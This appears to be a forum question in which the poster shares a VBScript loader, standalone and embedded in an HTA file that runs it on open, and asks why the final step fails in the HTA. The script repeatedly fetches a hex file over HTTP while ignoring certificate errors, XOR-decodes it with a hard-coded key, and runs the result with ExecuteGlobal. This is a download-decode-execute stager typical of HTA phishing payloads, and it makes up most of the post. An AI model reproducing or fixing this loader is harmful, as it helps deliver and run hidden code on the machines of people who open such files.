I have a vbscript which works fine when executed stand alone i.e.
On Error Resume Next:
Set a=CreateObject("MSXML2.ServerXMLHTTP.6.0"):
a.setOption 2,13056:
while(Len(b) = 0):
a.open"GET","http://127.0.0.1/hex.txt",False:
a.send:
b = a.responseText:
wend:
k="password":
for i = 0 to Len(b) - 1 Step 2:
c = c & Chr(Asc(Chr("&H" & Mid(b, i + 1, 2))) xor Asc(Mid(k, ((i / 2)mod Len(k)) + 1, 1))):
Next:
ExecuteGlobal c:
But when i include this script inside HTA, It doesn't execute the (ExecuteGlobal c:) i.e.
<html>
<head>
<script language="VBScript">
Sub RunProgram
On Error Resume Next:
Set a=CreateObject("MSXML2.ServerXMLHTTP.6.0"):
a.setOption 2,13056:
while(Len(b) = 0):
a.open"GET","http://127.0.0.1/hex.txt",False:
a.send:
b = a.responseText:
wend:
k="password":
for i = 0 to Len(b) - 1 Step 2:
c = c & Chr(Asc(Chr("&H" & Mid(b, i + 1, 2))) xor Asc(Mid(k, ((i / 2)mod Len(k)) + 1, 1))):
Next:
ExecuteGlobal c:
End Sub
RunProgram()
</script>
</head>
<body>
</body>
</html>
I think the issue is with the (ExecuteGlobal c:) portion, it doesn't execute in HTA but it is executed fine when i use the vbscript alone.